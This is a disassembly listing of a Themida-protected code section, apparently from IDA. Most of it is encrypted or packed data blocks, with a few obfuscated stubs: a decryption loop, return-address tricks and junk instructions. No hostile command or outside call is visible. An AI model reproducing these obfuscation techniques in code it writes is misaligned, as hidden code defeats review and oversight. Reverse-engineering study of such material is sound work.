dd 258EF750h, 0A7D04095h, 0E683288Bh, 8CF54EFFh, 81C153E6h
dd 83C22541h, 85A1FFE6h, 0FFE68322h, 5DB6F750h, 0BB4658B8h
dd 0B16BEC92h, 0AA69B8E2h, 7FB22BACh, 0A4E92CD9h, 0E7802E3Dh
dd 8FAB3B34h, 0FFE72E2Ch, 6298015Ah, 49A75CAh, 49AA5079h
dd 74902040h, 7E14516h, 3699B5F5h, 5C07E13Fh, 0BB145D03h
dd 8155012Bh, 0EB6A9798h, 0F25CAF71h, 751BF8C7h, 0A76892E2h
dd 9A0EEA67h, 40FBC62h, 5CB7649Ah, 6910D06h, 93379AB6h
dd 45D07E0h, 4DA2329Bh, 224BD6C8h, 58BDE97Ch, 4307E093h
dd 0AF644802h, 70CB9EFh, 70882D86h, 0B41D02C9h, 4F4FC429h
dd 0EAB45FC4h, 8618FA5Fh, 217D96FBh, 0A8E96D96h, 0B9EA46EEh
dd 35DB30FFh, 728EDE69h, 7E0FC0Fh, 0CE73DC35h, 0AB75D41h
dd 0C75F9509h, 0FC086B87h, 0D52E07E0h, 8275F2Fh, 7EC5406Fh
dd 56000001h, 3ACA96F3h, 326CA5FAh, 64D87EA7h, 7E0B80Eh
dd 2E91ADEDh, 0F007E0B8h, 0C8F17C22h, 88EB0787h, 0AE07E0B8h
dd 0FD46EC55h, 54BF14A4h, 0F096BF4Ah, 831BF85Dh, 2B73A04Dh
dd 0C6D83BA0h, 633BD63Bh, 9E73D8h, 818A3B75h, 0B4D660CDh
dd 896D2758h, 6089148Ah, 29539BF7h, 8BA10F5Eh, 399CB89Fh
dd 6707E098h, 7EFFA50Eh, 2F33E0C4h, 1E54BDE1h, 0C0DE3186h
dd 0A4124A1Ah, 56B0406Eh, 41000000h, 36C69AF3h, 0E683971Ah
dd 6DA83D7Fh, 147DA631h, 0F4F35A84h, 0CC988936h, 0EBAF936Ch
dd 30D63F54h, 4E0E719Dh, 0BAE37FE6h, 3B256800h, 4E0C8FABh
dd 61BAFFE6h, 0F8957CD1h, 0B86E452Bh, 18A30CD7h, 240B49EFh
dd 0B5h, 0B322B2DCh, 4EC8D63Ah, 913788E3h, 7A92BCDAh, 6C1CBDE9h
dd 2069CA70h, 4670B040h, 7BE9D7A6h, 298CA8F5h, 57FFE6EEh
dd 7BEF95FEh, 7E10511h, 0C72A4686h, 0ED07E100h, 4CA5EE94h
dd 0E7B75CC1h, 90EF19B1h, 4BE1D3A7h, 1F7F9035h, 18C56B94h
dd 0EC18A3FBh, 7E14684h, 4024DE1Fh, 1C828FD3h, 6FFF6891h
dd 45B0132Fh, 7DD607E1h, 513899D7h, 7B637F0Fh, 1C0FE290h
dd 0C5DC0DCh, 2A830FE2h, 52E23B84h, 0E28816FDh, 67AAFF4Fh
dd 2FE49137h, 839FDF6Fh, 0FE20C20h, 0B447ED46h, 703FF922h
dd 59231646h, 8B3139DDh, 71015F2Ah, 0E37E6D55h, 0EA207917h
dd 0CA96F333h, 2590103Ah, 634D0FD3h, 210925BDh, 0C507E892h
dd 977CE16Ch, 0F3227707h, 0B056884h, 0D22B07E8h, 0FB5DE69h
dd 0AFEF24D1h, 6C79F824h, 0D60F6999h, 1DF84D1Ch, 27CDF681h
dd 0C2DE997Ah, 69976B5Fh, 6EAFEF21h, 0DC1CAC15h, 976B5DC0h
dd 0F7E84A69h, 1968C52Bh, 9BD97FD8h, 0D83D25EEh, 39D63BC6h
dd 48B1DA65h, 0DA0454DFh, 0D820C3DDh, 0D9862CA6h, 78DD6836h
dd 0EE96F697h, 970E43D9h, 0D53EA32Eh, 0F1223EC9h, 7DBD8F37h
dd 69BF133Dh, 67181302h, 971198FBh, 0BF65BE69h, 8BB5843Eh
dd 38FD5EBAh, 1FB47B7Eh, 69E48E08h, 2EE59238h, 78A23A70h
dd 9F9DBB6h, 0AB75DE8h, 0D6B75909h, 233E48FBh, 0A50E7718h
dd 177B1Ah, 0F3330000h, 971174D7h, 0CBD33E69h, 0D48B318Ah
dd 0F6A867BCh, 39C426Bh, 2F6FA7A4h, 0CAD43FA4h, 6836DA3Fh
dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h
dd 108E84E9h, 89575285h, 95B850E7h, 2D249A72h, 531840FAh
dd 0D0F7D8F7h, 0CA7E2E25h, 568E0545h, 9C3577ECh, 1B96E86h
dd 0EF8358C7h, 243C8704h, 0E789575Ch, 4C781h, 0EF830000h
dd 243C8704h, 2404895Ch, 0C9568h, 24148900h, 14B8D68h
dd 24048B08h, 4C481h, 0EC810000h, 4, 83242489h, 5A042404h
dd 4EC81h, 2C890000h, 89C58924h, 8B5D086Ah, 89532414h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048B5Ch, 81E78957h
dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF92D30h, 55A870D3h
dd 0A2DE9EFBh, 2F8365E2h, 0B86E90BDh, 8015121h, 0E0FFC503h
dd 705B09CFh, 554C0D4Bh, 7B782E14h, 14FC19ECh, 65EC1E63h
dd 7F241A98h, 54A0C9C8h, 105928B9h, 74F94D89h, 72FEEADEh
dd 29D8A8BBh, 2DD46AE0h, 52D88D8Dh, 6A0801h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F3A918C3h
dd 2751B58Bh, 8D8907FAh, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0A0C35747h, 9A9C0CB6h, 0E7CA8166h
dd 9E8DAh, 0E4780000h, 0E352E0CAh, 0FAB9F54h, 583h, 74A4BF00h
dd 0C758655Fh, 0FA31AD85h, 615007h, 95950B00h, 0C707FA15h
dd 0FA2BD985h, 7, 0B3EA8000h, 167DB5FFh, 6A07FAh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 7F594DC3h, 9F881F92h, 8B6A31BFh, 0FA20319Dh, 9995FF07h
dd 0F07FA17h, 6AD6B7h, 101995FFh, 0C08B07FAh, 0DC7D0EEBh
dd 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 12E8h, 16382700h
dd 615AEACAh, 7C5033E9h, 0C816B62Ah, 0E9EDAC77h, 0Eh, 47026FF3h
dd 8C2D1BBBh, 0C960904Fh, 0F5FF69Fh, 0C781DEBFh, 68ACh
dd 1A07B8h, 0E6816600h, 0F8B4CEAh, 0D9D9D8Bh, 0C18107FAh
dd 24204A61h, 11E8h, 126ADB00h, 0DB581D2Dh, 5E3C5D26h
dd 0C66C5322h, 0CDBBDF6Ah, 5E2E0709h, 813DF181h, 0D38B772Ch
dd 0C010C181h, 51F517C4h, 0AA62EDBEh, 66078F78h, 83E622BAh
dd 0C28104EFh, 2A7C29D9h, 1E881h, 850F0000h, 0FFFFFFA6h
dd 0BE8F5h
dd 2AE90000h, 0A23F58B1h, 5A10D239h, 0ED9D337Fh, 5A07FA01h
dd 6001C281h, 9D8B0000h, 7FA1005h, 17CDB8h, 1FBB6600h
dd 0E832FFD3h, 0Ah, 0FF958C33h, 0FD90E28Fh, 9D897474h
dd 7FA21E5h, 8E95F5Eh, 33000000h, 491ECA42h, 81A5746Ch
dd 64B990F7h, 9D0B5356h, 7FA25DDh, 3BEF815Eh, 812EDDD2h
dd 78777DC7h, 0F08B664Ah, 0EA833A89h, 12E904h, 5150000h
dd 0B1535D87h, 0B8EB4987h, 7F77414Ch, 2C482E60h, 1E881h
dd 850F0000h, 18h, 0C3DFBB66h, 36E9h, 0B4DD5700h, 15C1A0Ch
dd 0F33FAFFEh, 6881BC95h, 0DE9h, 0EEBABC00h, 3E3F8488h
dd 23FD3917h, 66E90D62h, 0B1FFFFFFh, 656A048Fh, 68A3159Bh
dd 986B6737h, 0E8E4FD80h, 0Ah, 7A811E12h, 3706E99Ah, 0F081BBC5h
dd 4C395764h, 69B58B5Bh, 8107FA20h, 6C4FC3h, 0CCEFB900h
dd 0E9816C61h, 6C61B1FEh, 1855958Bh, 3B8B07FAh, 6E9h, 20F2BD00h
dd 81B341F0h, 34419EF7h, 92CA817Eh, 815EB4DDh, 67B4E7EFh
dd 0BD8B6018h, 7FA0829h, 15918D29h, 816107FAh, 0E38709F7h
dd 5860F1Ah, 66000000h, 0D1C9C281h, 0BE663B89h, 0EB813A49h
dd 186F87B1h, 0ADC381F9h, 66186F87h, 83847CBAh, 850F01E9h
dd 0FFFFFFA2h, 8B0ACC80h, 0CDBD83C0h, 7FA2Ah, 0BD830975h
dd 7FA1899h, 50197400h, 0B8C08B53h, 421h, 20C98589h, 9D8D07FAh
dd 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h
dd 421h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9D8BC08Bh
dd 7FA14A9h, 66585C6h, 685607FAh, 9CA8B852h, 2095B5FFh
dd 858D07FAh, 7FDA3DDh, 46AD0FFh, 100068h, 69B5FF00h, 6A07FA1Ch
dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+7FA72FBh]
jmp ecx
; ---------------------------------------------------------------------------
dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 19BD83D3h, 7FA27h
dd 0E840Fh, 9D8B0000h, 7FA2719h, 1EA9858Bh, 38907FAh, 858D5251h
dd 7FA43D1h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 66585C6h
dd 685607FAh, 0D41F6D39h, 2095B5FFh, 858D07FAh, 7FDA3DDh
dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7FA2ACDh
dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 421B8h
dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h
dd 7FA18h, 53501774h, 421B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
dd 5BD3FF07h, 8DC08B58h, 0FA27199Dh, 0B038B07h, 7840FC0h
dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 0Ah, 0C59AAE95h
dd 43C04D20h, 0DE96F00h, 0DB000000h, 6BC0E5B6h, 0CA423373h
dd 746C491Eh, 0C68B665Bh, 0D847C381h, 9BBF0000h, 68386775h
dd 0
; ---------------------------------------------------------------------------
jle loc_5F8AD0
mov dl, al
loc_5F8AD0: ; CODE XREF: Themida_:005F8AC8j
pop ecx
loc_5F8AD1: ; CODE XREF: Themida_:005F8B29j
push dword ptr [ecx+ebx]
clc
pop esi
jmp loc_5F8AE5
; ---------------------------------------------------------------------------
db 0FEh
dd 0D431A16Bh, 7B34B337h
db 69h
; ---------------------------------------------------------------------------
loc_5F8AE5: ; CODE XREF: Themida_:005F8AD6j
xor esi, 45B2C3F0h
mov di, 0D8F0h
loc_5F8AEF: ; CODE XREF: Themida_:005F8B68j
sub esi, 6775161Fh
mov edx, edi
xor esi, 29FF3006h
mov ax, 0CFA0h
mov [ebx+ecx], esi
mov edx, eax
mov eax, esi
sub ecx, 3
dec ecx
mov eax, edi
cmp ecx, 0FFFF285Ch
loc_5F8B14: ; CODE XREF: Themida_:005F8B50j
jnz loc_5F8B26
mov edi, ecx
jmp loc_5F8B3F
; ---------------------------------------------------------------------------
db 5Bh, 59h, 8Dh
db 0F7h, 0A8h
; ---------------------------------------------------------------------------
loc_5F8B26: ; CODE XREF: Themida_:loc_5F8B14j
movsx edx, bx
jmp loc_5F8AD1
; ---------------------------------------------------------------------------
dw 0A35Ch
dd 76C22E1h, 0A8844ECh, 0EE31FBE6h
db 55h, 0A1h, 7Bh
; ---------------------------------------------------------------------------
loc_5F8B3F: ; CODE XREF: Themida_:005F8B1Cj
dec dl
das
db 2Eh
push cs
test al, 8Ch
cmpsb
dec edx
mov ch, [edx+2Fh]
push cs
test al, 0ABh
aad 0EAh
jnz short loc_5F8B14
das
push cs
test al, 8Ah
cmpsd
dec edx
mov bh, [edx+6757AE5Dh]
movsb
dec edx
mov dh, [edx]
sub al, 0Eh
test al, 0ABh
aad 0EAh
jnz short loc_5F8AEF
sub al, 0Eh
test al, 55h
movsd
dec edx
mov al, [edi]
sub eax, 0A5D7A80Eh
dec edx
mov bh, cl
sub eax, 0D5ABA80Eh
jmp far ptr 0C81h:0D42F2575h
; ---------------------------------------------------------------------------
dw 1D2Bh
dd 6A2C003h, 90A75CA9h, 59A31D1Dh, 422ED121h, 0D42F4D8Bh
dd 1D2B0C46h, 6AAC003h, 90A75CA9h, 59A31CCCh, 423AD121h
dd 0D42F4D8Bh, 1D2B0D35h, 6B6C003h, 90A75CA9h, 59A31C78h
dd 4236D121h, 0D42F4D8Bh, 1D2B0E9Eh, 682C003h, 90A75CA9h
dd 59A31FF5h, 4202D121h, 0D42F4D8Bh, 1D2B0E68h, 68EC003h
dd 90A75CA9h, 59A31E8Bh, 421AD121h, 0D42F4D8Bh, 1D2B0FEAh
dd 696C003h, 90A75CA9h, 59A31EF1h, 4212D121h, 0B8C34D8Bh
dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0F6C0D5F2h
dd 96AA44DDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 0EF3C7D3Ah
dd 5342848Dh, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh
dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
dd 1D2B3CAAh, 1129475h, 17A0D902h, 0AEAA44E2h, 51A1EC79h
dd 0DC0941AEh, 14425622h, 3773BA82h, 732ADF10h, 5328C821h
dd 0EA2255C0h, 152BFD5Bh, 9881508Ch, 50CA4700h, 0A5FBABA0h
dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 0B6C0D5F2h, 0DAAA44D2h, 68A15CDDh
dd 0ADE78286h, 152A54A8h, 0A030BACCh, 9E2DAEB5h, 0FC69CE52h
dd 0A5B99783h, 0FA31EFE2h, 17A0D9F9h, 0AEAA44E2h, 949A0D79h
dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 4DD0BE29h
dd 24294D8Bh, 1957DFA0h, 515E004Dh, 532A54A8h, 4C53D775h
dd 0CDA15352h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 17A0D9F9h
dd 0AEAA44E2h, 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h
dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h
dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh
dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah
dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah
dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 14425622h
dd 0E173BA82h, 9FA7FEF8h, 59A32D88h, 0D6A08557h, 5DDF6E20h
dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh, 478BD775h
dd 45265352h, 5328C820h, 0EA2255C0h, 0FB2BF55Bh, 3186949Bh
dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h
dd 51A2458Ah, 87D5FE04h, 5658587Bh, 17868C23h, 0DB2FEF49h
dd 1D2B3CAAh, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h
dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 0ABBFB418h, 0B9E2DFAFh
dd 0DC088558h, 14425632h, 3771BA82h, 73E39410h, 0FB63CF21h
dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 4C53D775h
dd 0DDA15352h, 0FB637726h, 7D28CE25h, 825D4D8Bh, 0E4AAECCEh
dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h
dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h
dd 376B7732h, 17B0D903h, 0AEAA44E2h, 9592327Bh, 0FD09234Bh
dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
dd 8FA7FFCEh, 59A32D88h, 0A09A8757h, 0FB0E0320h, 7D28CE25h
dd 825D4D8Bh, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0DEC0D5F2h
dd 96AA44D1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 422ACE25h
dd 0DCF14D8Bh, 147D8332h, 0D871BA82h, 42C3A8EDh, 0AEA2458Ah
dd 60D558DDh, 4138C882h, 462255FFh, 675DF07h, 0C6D55CA9h
dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 59A31296h
dd 0C2B0D9FBh, 0AEAA44DDh, 0E96FDD7Bh, 51A25863h, 195FABA8h
dd 0DCAA3075h, 147D7C32h, 0CB2F1682h, 1D2B037Fh, 142B9675h
dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h
dd 15DC08Dh, 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0BF0F62FBh, 8D89F9F3h, 7FA1CD9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F9C35646h
dd 0E0A6E69Fh, 5277BE5Eh, 77BA60E0h, 6134694Dh, 0D4DB589h
dd 85C707FAh, 7FA31ADh, 5F6Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 8EC35343h, 95319697h, 7FA16EDh
dd 2AC38166h, 0D985C73Fh, 7FA2Bh, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 60BBC353h, 8D19589h, 816607FAh, 61720FE6h, 30B5BD89h
dd 0DE907FAh, 3D000000h, 0CB1C6C51h, 56150450h, 0A09A9B94h
dd 16F1B5FFh, 0BD8B07FAh, 7FA0861h, 0CB5958Bh, 95FF07FAh
dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0ECC35545h, 21B27C78h, 0D9ED04E8h, 85B58989h, 0F07FA14h
dd 6ADFBFh, 101995FFh, 0C08B07FAh, 0D3400BEBh, 0D17753DBh
dd 51467290h, 3BE987h, 8B600000h, 0FA1785BDh, 4EF8307h
dd 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h
dd 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h
dd 61FFFFFFh, 0EBC88BC3h, 16h, 4 dup(0)
dd 0B4010100h, 1000003h, 75958908h, 5007FA0Fh, 52505250h
dd 8B0Fh, 310F0000h, 8E0Fh, 585A0000h, 5E9310Fh, 7C000000h
dd 2B47F2DAh, 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0CA00F8BEh, 25FA454h
dd 14E860h, 0BCB30000h, 8555EA87h, 4849D208h, 0A7348F61h
dd 0DBFD6126h, 0BF660C55h, 81587D61h, 1BAA6BDFh, 8B666174h
dd 29006AD9h, 0FA01898Dh, 0F006A07h, 38Fh, 0A0DD8000h
dd 5F43858Dh, 0D78B0801h, 2830F50h, 0B1000000h, 240489CDh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h
dd 0F6409CB2h, 0DE6040Bh, 0D68B6651h, 6890F5Bh, 8B000000h
dd 0FA076D95h, 0B2006A07h, 0F006A16h, 688h, 65BD3100h
dd 0FF07FA25h, 0FA2BE995h, 90E78007h, 669E9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0FEFF3E57h, 0E8h, 0ED815D00h, 8015F48h, 5E9h, 454D8F00h
dd 6AC617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 2721ABC3h, 3B5EA79Ch, 79958B33h, 0E907FA1Dh
dd 0Ah, 0F61E81DAh, 9D9B6D89h, 8D8B38F7h, 7FA1BE5h, 4E8h
dd 0FA000h, 5096B500h, 424448Bh, 2840Fh, 61600000h, 0BA66008Bh
dd 44896E6Ch, 33BB0424h, 5878D7BDh, 0BE9h, 91F5B300h, 178DF97Dh
dd 1679177Eh, 101995FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh
dd 12E8211Dh, 18000000h, 32EA9240h, 6A285161h, 0FA3C9961h
dd 12BA58C6h, 21BD891Dh, 5B07FA20h, 2825BD89h, 0B58D07FAh
dd 8015E14h, 1D8D8952h, 5A07FA29h, 655206C7h, 6A6D67h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 46C7FEC3h, 636E6F04h, 0C735B56Ch, 73610846h, 81660073h
dd 6A1B2FEAh, 68A0F00h, 81000000h, 4E8591F3h, 14858D3Bh
dd 6A08015Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 35F5C352h, 2025D009h, 80608C6Dh
dd 0D980BFC0h, 0E8906102h, 6, 3EFEAEF1h, 1FBB8AC0h, 5F404C4Dh
dd 90D58A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0A4C35242h, 3321FFE7h, 87F9ADBAh, 2595FF3Fh, 2B07FA1Fh
dd 0FA11D98Dh, 0FC00B07h, 6484h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 7282FAC0h
dd 0E8C58550h, 0Dh, 0C168BDF7h, 4E8DE684h, 7CAFE59Fh, 0D98B669Bh
dd 404E959h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 1B72AFC3h, 23F0885Ah, 0FA177595h
dd 4E807h, 12C0000h, 66500000h, 505BCE8Bh, 8BDE8B66h, 0E9042444h
dd 13h, 0E54B0E06h, 80CC5743h, 1732B8A1h, 0E4914A1Dh, 8BA9DA9Dh
dd 0B8BB5700h, 5F5B2CF2h, 4244489h, 0D78B6658h, 101995FFh
dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 8D0FBAC3h, 5, 0F5C38166h, 0EFBB6647h, 14B58D97h
dd 6608015Eh, 0D105EB81h, 383106C7h, 6A3634h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 3A9AB5C3h
dd 370446C7h, 6A31342Dh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0F614C357h, 381EEBF7h
dd 0B70FFA8Ah, 846C7CFh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5F9673
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F9673 proc near ; CODE XREF: Themida_:005F966Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5F9673 endp
; ---------------------------------------------------------------------------
db 4Ah
dd 7E5C70Eh, 0D2B3FA8Fh, 8166006Ah, 8DB694E2h, 15E1485h
dd 2488BF08h, 860F13F5h, 6, 64DBD8Bh, 0F9007FAh, 88Ah
dd 8F0F5200h, 0
; ---------------------------------------------------------------------------
pop edi
push eax
mov bl, 0E7h
nop
push 0
push ecx
call sub_5F96C8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F96C8 proc near ; CODE XREF: Themida_:005F96C0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5F96C8 endp
; ---------------------------------------------------------------------------
dd 3B71A669h, 69B5896Ch, 0FF07FA01h, 0FA1F2595h, 9D316007h
dd 7FA0DE5h, 0B61D48Ah, 36840FC0h, 8A000000h, 270E9EBh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 6E60BFC3h, 8C0F96E0h, 9, 3840Fh, 0DE800000h
dd 0BDE568F3h, 8B661ADBh, 243481D7h, 1ADBBCC9h, 0DE9h
dd 51A59900h, 0F7625DE4h, 4DC37C37h, 95FF0831h, 7FA1019h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h
dd 0D6F5C621h, 758C937Bh, 25950303h, 8D07FA1Dh, 15E14B5h
dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 331021CAh, 3BBA9369h, 694606C7h, 6A656Ch
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 380D63C3h, 0E9D4BF5Ch, 0Ch, 90AEEB67h, 818E1E49h, 9783CD4Ah
dd 46C77BB7h, 6E6F6D04h, 51006A63h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0B93C863Eh, 81858915h
dd 0C707FA06h, 616C0846h, 6A7373h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0AA450EC3h, 2FD9D29h
dd 0BD8B07FAh, 7FA1771h, 0C46C7h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 0ED80C355h, 6492C2DDh, 662B3DAAh, 6AF98Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6FB615E4h
dd 0E0F926AFh, 7E8ABh, 48DA0000h, 0D8B71C58h, 6E8C4h, 0DEB30000h
dd 3CE809BDh, 8D5A5AF5h, 15E1485h, 51006A08h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8F0F28ADh
dd 6, 305BD8Bh, 525007FAh, 5FD38B66h, 8B240489h, 0FA08318Dh
dd 2595FF07h, 6A07FA1Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 759FC350h, 20840F14h
dd 0E8000000h, 14h, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh
dd 980A467h, 3792C7B5h, 8319D8Bh, 0B5F07FAh, 28840FC0h
dd 0E9000000h, 2Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0C0C35646h, 8166F8F4h, 0E9D8F7CAh, 0FFFFFA14h
dd 0B58D4BB6h, 7FA72FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 2EC35343h, 9642C765h, 0B7B966C2h, 0B856h
dd 9D0B0000h, 7FA1C99h, 6AE6FFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 71D240C3h, 999D2Bh, 0C18B07FAh
dd 0EE8h, 0C6AF0F00h, 342CD1FBh, 3CFBC3C2h, 5F94835Ch
dd 149D8D8Bh, 0C78107FAh, 6E0Ch, 10A1B58Bh, 0D22B07FAh
dd 11E9h, 5AD05800h, 0EACC2BFh, 87AAF611h, 981B28B8h, 34FFC010h
dd 11BD893Ah, 5B07FA16h, 9E8h, 613F2D00h, 0E77E67D4h, 5EFC4729h
dd 456BEB81h, 0B58B0D83h, 7FA1181h, 0A238F381h, 0B96614ACh
dd 0C381F91Ah, 477FFB1Ah, 183D9589h, 1C8907FAh, 890F17h
dd 66000000h, 838217B9h, 7E903EAh, 3B000000h, 5962F7A7h
dd 0F4AF326h, 681h, 0C9B58B00h, 8107FA07h, 0FF92ACFAh
dd 8F850FFFh, 0FFFFFFFh, 0C88h, 6880F00h, 0F000000h, 83h
dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD2555CAh
dd 0FD257B28h, 0FD256C69h, 0FD25E5CFh, 0FD2520B9h, 0FD25C297h
dd 0FD25B27Ch, 0FD250A5Dh, 0FD255648h, 0FD257B77h, 0FD256C4Ch
